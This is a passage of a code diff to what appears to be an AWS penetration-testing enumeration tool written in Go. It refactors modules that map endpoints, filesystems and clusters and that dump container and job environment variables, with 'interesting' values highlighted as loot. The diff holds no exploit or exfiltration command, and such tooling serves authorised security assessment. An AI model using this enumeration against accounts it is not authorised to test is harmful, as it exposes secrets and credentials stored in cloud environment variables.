||||
ExternalIP: "203.0.113.12",
|
||||
Role: "test123",
|
||||
}},
|
||||
},
|
||||
}
|
||||
@@ -48,6 +48,9 @@ func TestECSTasks(t *testing.T) {
|
||||
if expectedTask.Cluster != subtest.testModule.MappedECSTasks[index].Cluster {
|
||||
log.Fatal("Cluster name does not match expected value")
|
||||
}
|
||||
if expectedTask.ContainerName != subtest.testModule.MappedECSTasks[index].ContainerName {
|
||||
log.Fatal("Container name does not match expected value")
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
+7
-2
@@ -32,6 +32,7 @@ type EKSModule struct {
|
||||
AWSProfile string
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
@@ -242,8 +243,12 @@ func (m *EKSModule) EKS(outputDirectory string, verbosity int) {
|
||||
func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Cluster) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("eks", r)
|
||||
if err != nil {
|
||||
|
||||
@@ -27,6 +27,7 @@ type ElasticNetworkInterfacesModule struct {
|
||||
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
MappedENIs []MappedENI
|
||||
CommandCounter internal.CommandCounter
|
||||
@@ -233,8 +234,12 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
|
||||
|
||||
func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedENI) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
|
||||
+50
-55
@@ -63,6 +63,7 @@ type EndpointsModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Endpoints []Endpoint
|
||||
@@ -105,7 +106,7 @@ func (m *EndpointsModule) PrintEndpoints(outputDirectory string, verbosity int)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
//fire up the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
|
||||
|
||||
//create a channel to receive the objects
|
||||
@@ -267,8 +268,12 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
// <-semaphore
|
||||
// }()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
@@ -288,7 +293,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getEksClustersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("mq", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazon-mq", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -297,7 +302,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getMqBrokersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("es", r)
|
||||
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -315,7 +320,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
m.getGrafanaEndPointsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("elb", r)
|
||||
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -328,7 +333,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getELBListenersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("apigateway", r)
|
||||
res, err = servicemap.IsServiceInRegion("api-gateway", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -373,7 +378,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerEndpointsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -447,7 +452,7 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
|
||||
FunctionDetails, err := sdk.CachedLambdaGetFunctionUrlConfig(m.LambdaClient, aws.ToString(m.Caller.Account), r, name)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -503,7 +508,7 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -576,7 +581,7 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
|
||||
)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -629,36 +634,27 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
|
||||
for _, domainName := range DomainNames {
|
||||
name := aws.ToString(domainName.DomainName)
|
||||
|
||||
//TODO: convert this to cacehd function
|
||||
DomainNameDetails, err := m.OpenSearchClient.DescribeDomain(
|
||||
context.TODO(),
|
||||
&(opensearch.DescribeDomainInput{
|
||||
DomainName: &name,
|
||||
}),
|
||||
func(o *opensearch.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
DomainStatus, err := sdk.CachedOpenSearchDescribeDomain(m.OpenSearchClient, aws.ToString(m.Caller.Account), r, name)
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
raw_endpoint := DomainNameDetails.DomainStatus.Endpoint
|
||||
rawEndpoint := DomainStatus.Endpoint
|
||||
var endpoint string
|
||||
var kibana_endpoint string
|
||||
var kibanaEndpoint string
|
||||
|
||||
// This exits the function if an opensearch domain exists but there is no endpoint
|
||||
if raw_endpoint == nil {
|
||||
if rawEndpoint == nil {
|
||||
return
|
||||
} else {
|
||||
|
||||
endpoint = fmt.Sprintf("https://%s", aws.ToString(raw_endpoint))
|
||||
kibana_endpoint = fmt.Sprintf("https://%s/_plugin/kibana/", aws.ToString(raw_endpoint))
|
||||
endpoint = fmt.Sprintf("https://%s", aws.ToString(rawEndpoint))
|
||||
kibanaEndpoint = fmt.Sprintf("https://%s/_plugin/kibana/", aws.ToString(rawEndpoint))
|
||||
}
|
||||
|
||||
//fmt.Println(endpoint)
|
||||
@@ -689,7 +685,7 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
|
||||
AWSService: "OpenSearch",
|
||||
Region: r,
|
||||
Name: name,
|
||||
Endpoint: kibana_endpoint,
|
||||
Endpoint: kibanaEndpoint,
|
||||
Port: 443,
|
||||
Protocol: "https",
|
||||
Public: public,
|
||||
@@ -788,7 +784,7 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
|
||||
)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -943,7 +939,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -956,7 +952,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1005,7 +1001,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
|
||||
name := aws.ToString(api.Name)
|
||||
id := aws.ToString(api.Id)
|
||||
raw_endpoint := fmt.Sprintf("https://%s.execute-api.%s.amazonaws.com", id, r)
|
||||
rawEndpoint := fmt.Sprintf("https://%s.execute-api.%s.amazonaws.com", id, r)
|
||||
var port int32 = 443
|
||||
protocol := "https"
|
||||
|
||||
@@ -1021,7 +1017,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1031,11 +1027,10 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
|
||||
}
|
||||
|
||||
for _, stage := range GetStages.Item {
|
||||
@@ -1044,7 +1039,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
if len(resource.ResourceMethods) != 0 {
|
||||
path := aws.ToString(resource.Path)
|
||||
|
||||
endpoint := fmt.Sprintf("%s/%s%s", raw_endpoint, stageName, path)
|
||||
endpoint := fmt.Sprintf("%s/%s%s", rawEndpoint, stageName, path)
|
||||
|
||||
endpoints = append(endpoints, Endpoint{
|
||||
AWSService: awsService,
|
||||
@@ -1120,7 +1115,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1133,7 +1128,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1185,7 +1180,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
var public string
|
||||
|
||||
name := aws.ToString(api.Name)
|
||||
raw_endpoint := aws.ToString(api.ApiEndpoint)
|
||||
rawEndpoint := aws.ToString(api.ApiEndpoint)
|
||||
id := aws.ToString(api.ApiId)
|
||||
var port int32 = 443
|
||||
protocol := "https"
|
||||
@@ -1195,7 +1190,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1213,7 +1208,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1228,9 +1223,9 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
}
|
||||
var endpoint string
|
||||
if stage == "" {
|
||||
endpoint = fmt.Sprintf("%s%s", raw_endpoint, path)
|
||||
endpoint = fmt.Sprintf("%s%s", rawEndpoint, path)
|
||||
} else {
|
||||
endpoint = fmt.Sprintf("%s/%s%s", raw_endpoint, stage, path)
|
||||
endpoint = fmt.Sprintf("%s/%s%s", rawEndpoint, stage, path)
|
||||
}
|
||||
public = "True"
|
||||
|
||||
@@ -1267,7 +1262,7 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1320,12 +1315,12 @@ func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitG
|
||||
awsService := "Redshift"
|
||||
protocol := "https"
|
||||
|
||||
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
Clusters, err := sdk.CachedRedShiftDescribeClusters(m.RedshiftClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1453,12 +1448,12 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
|
||||
m.CommandCounter.Executing++
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
var awsService string = "Cloudfront"
|
||||
var protocol string = "https"
|
||||
var r string = "Global"
|
||||
var public string = "True"
|
||||
var awsService = "Cloudfront"
|
||||
var protocol = "https"
|
||||
var r = "Global"
|
||||
var public = "True"
|
||||
|
||||
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
ListDistributions, err := m.CloudfrontClient.ListDistributions(
|
||||
context.TODO(),
|
||||
@@ -1468,7 +1463,7 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
|
||||
)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1684,8 +1679,8 @@ func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
var public string = "True"
|
||||
var protocol string = "https"
|
||||
var public = "True"
|
||||
var protocol = "https"
|
||||
var port int32 = 443
|
||||
|
||||
containerServices, err := sdk.CachedLightsailGetContainerServices(m.LightsailClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
+53
-46
@@ -43,6 +43,7 @@ type EnvsModule struct {
|
||||
|
||||
Goroutines int
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Service Clients
|
||||
ECSClient *ecs.Client
|
||||
@@ -62,6 +63,7 @@ type EnvsModule struct {
|
||||
|
||||
type EnvironmentVariable struct {
|
||||
service string
|
||||
taskDefinition string
|
||||
name string
|
||||
region string
|
||||
environmentVarName string
|
||||
@@ -166,13 +168,20 @@ func (m *EnvsModule) PrintEnvs(outputDirectory string, verbosity int) {
|
||||
//Table rows
|
||||
for _, envVar := range m.EnvironmentVariables {
|
||||
|
||||
var finalName string
|
||||
if envVar.taskDefinition != "" {
|
||||
finalName = fmt.Sprintf("%s/%s", envVar.name, envVar.taskDefinition)
|
||||
} else {
|
||||
finalName = envVar.name
|
||||
}
|
||||
|
||||
if envVar.interesting {
|
||||
m.output.Body = append(
|
||||
m.output.Body, []string{
|
||||
aws.ToString(m.Caller.Account),
|
||||
envVar.service,
|
||||
envVar.region,
|
||||
envVar.name,
|
||||
finalName,
|
||||
magenta(envVar.environmentVarName),
|
||||
magenta(envVar.environmentVarValue),
|
||||
},
|
||||
@@ -183,7 +192,7 @@ func (m *EnvsModule) PrintEnvs(outputDirectory string, verbosity int) {
|
||||
aws.ToString(m.Caller.Account),
|
||||
envVar.service,
|
||||
envVar.region,
|
||||
envVar.name,
|
||||
finalName,
|
||||
envVar.environmentVarName,
|
||||
envVar.environmentVarValue,
|
||||
},
|
||||
@@ -272,8 +281,12 @@ func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone ch
|
||||
|
||||
func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, _ := servicemap.IsServiceInRegion("ecs", r)
|
||||
if res {
|
||||
@@ -297,7 +310,7 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -307,7 +320,7 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
go m.getLightsailEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("sagemaker", r)
|
||||
res, err = servicemap.IsServiceInRegion("sagemaker-ai", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -355,7 +368,7 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
|
||||
break
|
||||
}
|
||||
for _, containerDefinition := range DescribeTaskDefinition.TaskDefinition.ContainerDefinitions {
|
||||
m.getECSEnvironmentVariablesPerDefinition(containerDefinition, region, dataReceiver)
|
||||
m.getECSEnvironmentVariablesPerDefinition(*DescribeTaskDefinition.TaskDefinition, containerDefinition, region, dataReceiver)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -394,12 +407,13 @@ func (m *EnvsModule) getTaskDefinitionFamilies(region string) []string {
|
||||
|
||||
}
|
||||
|
||||
func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(containerDefinition ecsTypes.ContainerDefinition, region string, dataReceiver chan EnvironmentVariable) {
|
||||
func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(taskDefinition ecsTypes.TaskDefinition, containerDefinition ecsTypes.ContainerDefinition, region string, dataReceiver chan EnvironmentVariable) {
|
||||
|
||||
if containerDefinition.Environment != nil {
|
||||
for _, x := range containerDefinition.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: "ECS",
|
||||
taskDefinition: getNameFromARN(aws.ToString(taskDefinition.TaskDefinitionArn)),
|
||||
name: aws.ToString(containerDefinition.Name),
|
||||
region: region,
|
||||
environmentVarName: aws.ToString(x.Name),
|
||||
@@ -538,25 +552,22 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
return
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
if len(ContainerServices) > 0 {
|
||||
|
||||
if len(ContainerServices) > 0 {
|
||||
|
||||
for _, containerService := range ContainerServices {
|
||||
for _, container := range containerService.CurrentDeployment.Containers {
|
||||
for k, v := range container.Environment {
|
||||
name := aws.ToString(containerService.ContainerServiceName)
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
for _, containerService := range ContainerServices {
|
||||
for _, container := range containerService.CurrentDeployment.Containers {
|
||||
for k, v := range container.Environment {
|
||||
name := aws.ToString(containerService.ContainerServiceName)
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -675,18 +686,16 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
|
||||
if len(DescribeTransformJob.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Transform Job] %s", aws.ToString(DescribeTransformJob.TransformJobName))
|
||||
for k, v := range DescribeTransformJob.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
if len(DescribeTransformJob.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Transform Job] %s", aws.ToString(DescribeTransformJob.TransformJobName))
|
||||
for k, v := range DescribeTransformJob.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -738,20 +747,18 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
|
||||
if len(DescribeTrainingJob.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Training Job] %s", aws.ToString(DescribeTrainingJob.TrainingJobName))
|
||||
for k, v := range DescribeTrainingJob.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
|
||||
if len(DescribeTrainingJob.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Training Job] %s", aws.ToString(DescribeTrainingJob.TrainingJobName))
|
||||
for k, v := range DescribeTrainingJob.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+7
-2
@@ -36,6 +36,7 @@ type FilesystemsModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Filesystems []FilesystemObject
|
||||
@@ -218,8 +219,12 @@ func (m *FilesystemsModule) Receiver(receiver chan FilesystemObject, receiverDon
|
||||
|
||||
func (m *FilesystemsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
|
||||
defer wg.Done()
|
||||
